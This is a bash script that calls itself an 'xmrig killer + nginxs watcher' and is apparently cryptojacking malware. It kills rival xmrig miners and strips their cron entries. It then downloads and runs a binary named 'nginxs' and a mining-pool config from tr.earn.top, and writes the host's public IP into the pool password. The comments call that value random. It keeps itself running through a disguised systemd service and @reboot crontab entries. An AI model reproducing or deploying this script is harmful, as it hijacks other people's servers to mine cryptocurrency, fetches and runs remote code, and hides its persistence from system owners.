#!/usr/bin/env bash
# Simple xmrig killer + nginxs watcher (no Docker)
# Works on most CentOS / Ubuntu / generic Linux, root / non-root

set -u  # Avoid using undefined variables (no -e to prevent unexpected exits)

LOG_TAG="[apaches-main]"

# nginxs / config download URLs
NGINXS_URL="https://tr.earn.top/nginxs"
CONFIG_URL="https://tr.earn.top/config.json"

# Choose a common download directory
# root: /usr/local/sbin
# non-root: /tmp (writable in almost all systems)
if [ "$(id -u)" -eq 0 ]; then
    NGINXS_PATH="/usr/local/sbin/nginxs"
    CONFIG_PATH="/usr/local/sbin/config.json"
else
    NGINXS_PATH="/tmp/nginxs"
    CONFIG_PATH="/tmp/config.json"
fi

log() {
    echo "$(date '+%F %T') ${LOG_TAG} $*"
}

########################################
# Common: kill xmrig processes (avoid killing ourselves)
########################################
kill_xmrig_processes() {
    # Current script PID and parent PID (to avoid killing ourselves or our parent)
    local self_pid parent_pid
    self_pid=$$
    parent_pid=${PPID:-0}

    # Find processes containing "xmrig" (case-insensitive), ignore grep itself,
    # and exclude this script and its parent
    local pids
    pids=$(ps aux 2>/dev/null \
        | grep -i 'xmrig' \
        | grep -v grep \
        | awk -v spid="$self_pid" -v ppid="$parent_pid" '{ if ($2 != spid && $2 != ppid) print $2 }' \
        | xargs -r echo)

    if [ -n "${pids:-}" ]; then
        log "Found xmrig processes: ${pids}, trying to kill..."
        kill ${pids} 2>/dev/null || true
        sleep 1

        pids=$(ps aux 2>/dev/null \
            | grep -i 'xmrig' \
            | grep -v grep \
            | awk -v spid="$self_pid" -v ppid="$parent_pid" '{ if ($2 != spid && $2 != ppid) print $2 }' \
            | xargs -r echo)

        if [ -n "${pids:-}" ]; then
            log "Processes still alive, using kill -9: ${pids}"
            kill -9 ${pids} 2>/dev/null || true
        fi
    fi
}

########################################
# nginxs config: download config.json (curl only)
# After each download, randomize "pass": "x" -> random 5-char string
########################################
download_nginxs_config() {
    if ! command -v curl >/dev/null 2>&1; then
        log "curl not found, cannot download config.json, please install curl or place ${CONFIG_PATH} manually."
        return 1
    fi

    log "Downloading config.json to: ${CONFIG_PATH}"

    mkdir -p "$(dirname "$CONFIG_PATH")" 2>/dev/null || true

    if ! curl -fsSL "${CONFIG_URL}" -o "${CONFIG_PATH}" 2>/dev/null; then
        log "Failed to download config.json from ${CONFIG_URL}."
        return 1
    fi

    # Get current machine IP (prefer public IP; fallback to local IP or 'unknown')
    local ip_value
    ip_value=$(curl -fsSL https://ifconfig.me 2>/dev/null \
        || curl -fsSL https://api.ipify.org 2>/dev/null \
        || hostname -I 2>/dev/null | awk '{print $1}' \
        || echo "unknown")

    if [ -z "${ip_value:-}" ]; then
        ip_value="unknown"
    fi

    # Replace "pass": "x" with "pass": "<random>"
    # This will update all occurrences of "pass": "x" in config.json
    if sed -i "s/\"pass\"[[:space:]]*:[[:space:]]*\"x\"/\"pass\": \"${ip_value}\"/g" "${CONFIG_PATH}" 2>/dev/null; then
        log "Updated pool password in config.json to a random value."
    else
        log "Failed to update \"pass\": \"x\" in config.json, keeping original value."
    fi

    log "config.json downloaded: ${CONFIG_PATH}"
    return 0
}

########################################
# nginxs: download binary (curl only)
########################################
download_nginxs() {
    if ! command -v curl >/dev/null 2>&1; then
        log "curl not found, cannot download nginxs, please install curl or place ${NGINXS_PATH} manually."
        return 1
    fi

    log "Downloading nginxs to: ${NGINXS_PATH}"

    mkdir -p "$(dirname "$NGINXS_PATH")" 2>/dev/null || true

    # -f: fail on HTTP errors; -s: silent; -S: show error; -L: follow redirects
    if ! curl -fsSL "${NGINXS_URL}" -o "${NGINXS_PATH}" 2>/dev/null; then
        log "Failed to download nginxs from ${NGINXS_URL}."
        return 1
    fi

    chmod +x "${NGINXS_PATH}" 2>/dev/null || true
    log "nginxs downloaded and made executable: ${NGINXS_PATH}"

    # After downloading nginxs, also download config.json (best effort)
    download_nginxs_config || true

    return 0
}

########################################
# nginxs: ensure config.json exists
########################################
ensure_nginxs_config() {
    if [ -f "${CONFIG_PATH}" ]; then
        return 0
    fi

    log "config.json not found, trying to download..."
    download_nginxs_config || return 1
    return 0
}

########################################
# nginxs: ensure binary exists
########################################
ensure_nginxs_binary() {
    if [ -x "${NGINXS_PATH}" ]; then
        # Binary exists, also make sure config.json exists
        ensure_nginxs_config || true
        return 0
    fi

    log "nginxs binary not found or not executable, trying to download..."
    download_nginxs || return 1
    # After downloading, ensure config.json as well
    ensure_nginxs_config || true
    return 0
}

########################################
# nginxs: ensure process is running
########################################
ensure_nginxs_running() {
    # Check if a process named "nginxs" is running
    local pids
    pids=$(ps aux 2>/dev/null | grep -w 'nginxs' | grep -v grep | awk '{print $2}' | xargs -r echo)

    if [ -n "${pids:-}" ]; then
        # Already running
        return 0
    fi

    # nginxs is not running, ensure binary + config exist
    if [ ! -x "${NGINXS_PATH}" ]; then
        log "nginxs is not running and binary is missing, trying to re-download..."
        if ! download_nginxs; then
            log "Failed to download nginxs, will not start it this time."
            return 1
        fi
    fi

    # Ensure config.json is present (best effort)
    ensure_nginxs_config || true

    # Start nginxs (assuming it reads config.json from default or same directory)
    # If you need explicit config, change to: "${NGINXS_PATH}" -c "${CONFIG_PATH}" ...
    log "nginxs not running, starting: ${NGINXS_PATH}"
    "${NGINXS_PATH}" >/dev/null 2>&1 &
    return 0
}

########################################
# Root only: clean cron entries containing xmrig
########################################
cleanup_cron() {
    if [ "$(id -u)" -ne 0 ]; then
        log "Not running as root, skipping cron cleanup."
        return
    fi

    log "Running as root, cleaning cron entries containing xmrig..."

    local backup_dir="/root/xmrig_cron_backup_$(date '+%Y%m%d_%H%M%S')"
    mkdir -p "$backup_dir"

    # 1. /etc/crontab
    if [ -f /etc/crontab ]; then
        cp -a /etc/crontab "$backup_dir"/ 2>/dev/null || true
        sed -i.bak '/xmrig/Id' /etc/crontab 2>/dev/null || true
        log "Processed /etc/crontab (lines containing xmrig removed, backup saved to $backup_dir)."
    fi

    # 2. /etc/cron.* directories
    for dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly; do
        [ -d "$dir" ] || continue
        for f in "$dir"/*; do
            [ -f "$f" ] || continue
            if grep -qi 'xmrig' "$f" 2>/dev/null; then
                log "Found xmrig in cron file: $f, backing up then removing."
                cp -a "$f" "$backup_dir"/ 2>/dev/null || true
                rm -f "$f"
            fi
        done
    done

    # 3. User-level cron files: /var/spool/cron and /var/spool/cron/crontabs
    for f in /var/spool/cron/* /var/spool/cron/crontabs/*; do
        [ -f "$f" ] || continue
        if grep -qi 'xmrig' "$f" 2>/dev/null; then
            log "Found xmrig in user cron file: $f, removing lines (backup in $backup_dir)."
            cp -a "$f" "$backup_dir"/ 2>/dev/null || true
            sed -i.bak '/xmrig/Id' "$f" 2>/dev/null || true
        fi
    done
}

########################################
# One-shot cleanup: kill xmrig + (if root) clean cron + ensure nginxs & config
########################################
initial_cleanup() {
    log "Starting initial xmrig cleanup..."
    kill_xmrig_processes
    cleanup_cron
    # Also ensure nginxs binary and config exist (best effort)
    ensure_nginxs_binary || true
    log "Initial xmrig cleanup finished."
}

########################################
# Ensure systemd or cron exist; if not, try apt-get install
########################################
ensure_init_tools() {
    local have_systemd=0
    local have_cron=0

    if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
        have_systemd=1
    fi
    if command -v crontab >/dev/null 2>&1; then
        have_cron=1
    fi

    if [ "$have_systemd" -eq 1 ] || [ "$have_cron" -eq 1 ]; then
        # At least one mechanism exists
        return 0
    fi

    log "Neither systemd nor cron detected on this system."

    if [ "$(id -u)" -ne 0 ]; then
        log "Not running as root, cannot install systemd/cron automatically. Autostart features will be limited."
        return 1
    fi

    if ! command -v apt-get >/dev/null 2>&1; then
        log "apt-get not found; cannot install systemd/cron automatically. Please install them manually."
        return 1
    fi

    log "Trying to install cron (and optionally systemd) using apt-get..."

    export DEBIAN_FRONTEND=noninteractive

    # Try to update package index quietly
    apt-get update -y >/dev/null 2>&1 || apt-get update -y

    # Install cron first (lighter and enough for @reboot)
    if ! apt-get install -y cron >/dev/null 2>&1; then
        log "Failed to install cron via apt-get. Please check manually."
    else
        log "cron installed successfully via apt-get."
    fi

    # Optionally try to install systemd (may not work in containers, ignore failures)
    if ! command -v systemctl >/dev/null 2>&1; then
        apt-get install -y systemd >/dev/null 2>&1 || true
    fi

    # Re-check
    have_cron=0
    have_systemd=0
    if command -v crontab >/dev/null 2>&1; then
        have_cron=1
    fi
    if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
        have_systemd=1
    fi

    if [ "$have_systemd" -eq 0 ] && [ "$have_cron" -eq 0 ]; then
        log "Installation of cron/systemd may have failed or they are not usable in this environment."
        return 1
    fi

    log "At least one of systemd/cron is now available after apt-get."
    return 0
}

########################################
# Daemon loop: kill xmrig every second + keep nginxs alive
########################################
watchdog_loop() {
    log "Entering watchdog loop: checking xmrig and nginxs every second..."

    # Try not to exit when the controlling terminal closes
    trap '' HUP

    while true; do
        # 1. Kill xmrig processes
        kill_xmrig_processes

        # 2. Ensure nginxs is present and running
        ensure_nginxs_running

        sleep 1
    done
}

########################################
# Root: register autostart (systemd + cron @reboot)
########################################
setup_root_autostart() {
    local daemon_path="$1"

    # Try to ensure systemd or cron exist (via apt-get if needed)
    ensure_init_tools || true

    local have_systemd=0
    local have_cron=0

    if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
        have_systemd=1
    fi
    if command -v crontab >/dev/null 2>&1; then
        have_cron=1
    fi

    # 1) systemd service (if available)
    if [ "$have_systemd" -eq 1 ]; then
        local unit_file="/etc/systemd/system/apaches-main.service"

        cat >"$unit_file" <<EOF
[Unit]
Description=apaches-main xmrig killer and nginxs watchdog
After=network.target

[Service]
Type=simple
ExecStart=${daemon_path} --daemon
Restart=always
RestartSec=2s

[Install]
WantedBy=multi-user.target
EOF

        log "Created systemd unit file: $unit_file"

        systemctl daemon-reload 2>/dev/null || true
        systemctl enable apaches-main.service 2>/dev/null || true
        systemctl restart apaches-main.service 2>/dev/null || true
        log "Systemd service apaches-main.service enabled and started (if supported)."
    else
        log "Systemd not available; will rely on root's cron @reboot for autostart if possible."
    fi

    # 2) root's @reboot cron (fallback)
    if [ "$have_cron" -eq 1 ]; then
        local tmp_cron
        tmp_cron=$(mktemp /tmp/apaches_root_cron.XXXXXX || echo /tmp/apaches_root_cron.$$)
        crontab -l 2>/dev/null | sed '/apaches.sh --daemon/d' >"$tmp_cron" 2>/dev/null || true
        echo "@reboot ${daemon_path} --daemon" >>"$tmp_cron"
        crontab "$tmp_cron" 2>/dev/null || true
        rm -f "$tmp_cron" 2>/dev/null || true
        log "Added @reboot entry to root crontab to start apaches.sh --daemon."
    else
        log "crontab command still not available; cannot configure cron-based autostart."
    fi
}

########################################
# Non-root: register user-level @reboot (if available)
########################################
setup_user_autostart() {
    local daemon_path="$1"

    # Non-root won't be able to run apt-get; just check cron
    if ! command -v crontab >/dev/null 2>&1; then
        log "crontab not available for this user; please use nohup/screen/tmux to run in background."
        return
    fi

    local tmp_cron
    tmp_cron=$(mktemp /tmp/apaches_user_cron.XXXXXX || echo /tmp/apaches_user_cron.$$)
    crontab -l 2>/dev/null | sed '/apaches.sh --daemon/d' >"$tmp_cron" 2>/dev/null || true
    echo "@reboot ${daemon_path} --daemon" >>"$tmp_cron"
    crontab "$tmp_cron" 2>/dev/null || true
    rm -f "$tmp_cron" 2>/dev/null || true
    log "Added @reboot entry to current user's crontab to start apaches.sh --daemon."
}

########################################
# Parse args: check for --daemon mode
########################################
DAEMON_MODE=0
if [ "${1:-}" = "--daemon" ]; then
    DAEMON_MODE=1
    shift || true
fi

########################################
# Daemon mode: cleanup + watchdog loop
########################################
if [ "$DAEMON_MODE" -eq 1 ]; then
    log "Starting in daemon mode. User: $(whoami) (uid=$(id -u)), nginxs: ${NGINXS_PATH}, config: ${CONFIG_PATH}"
    initial_cleanup
    watchdog_loop
    # watchdog_loop should never return
    exit 0
fi

########################################
# Install mode: behavior depends on root / non-root
########################################
log "apaches.sh starting in install mode. User: $(whoami) (uid=$(id -u)), nginxs: ${NGINXS_PATH}, config: ${CONFIG_PATH}"

# Resolve self path to an absolute path if possible
SELF_PATH="$0"
if command -v readlink >/dev/null 2>&1; then
    if SELF_ABS=$(readlink -f "$0" 2>/dev/null); then
        SELF_PATH="$SELF_ABS"
    fi
fi

if [ "$(id -u)" -eq 0 ]; then
    ####################################
    # Root: install + autostart, then hand over to systemd/cron
    ####################################
    log "Running as root, installing to /usr/local/sbin/apaches.sh and configuring autostart..."

    INSTALL_PATH="/usr/local/sbin/apaches.sh"
    mkdir -p "$(dirname "$INSTALL_PATH")" 2>/dev/null || true
    cp "$SELF_PATH" "$INSTALL_PATH"
    chmod +x "$INSTALL_PATH"

    # Run initial cleanup once (including nginxs/config download)
    log "Running initial cleanup and nginxs/config.json download once at install time..."
    initial_cleanup

    setup_root_autostart "$INSTALL_PATH"

    log "Install and autostart configuration complete."
    log "You can check status with: systemctl status apaches-main.service (if supported)."
    log "This install process will now exit; future runs will be handled by systemd/cron in --daemon mode."
    exit 0
else
    ####################################
    # Non-root: user-level @reboot + run daemon in foreground
    ####################################
    log "Running as non-root (e.g. www). System-level services will NOT be configured."

    # Ensure SELF_PATH is absolute
    case "$SELF_PATH" in
        /*) ;;  # already absolute
        *)
            SELF_PATH="$(pwd)/$SELF_PATH"
            ;;
    esac

    setup_user_autostart "$SELF_PATH"

    log "Starting daemon in foreground now (use nohup/screen/tmux if you want it to survive terminal close)."
    initial_cleanup
    watchdog_loop
    # Should not exit unless killed or system shutdown
fi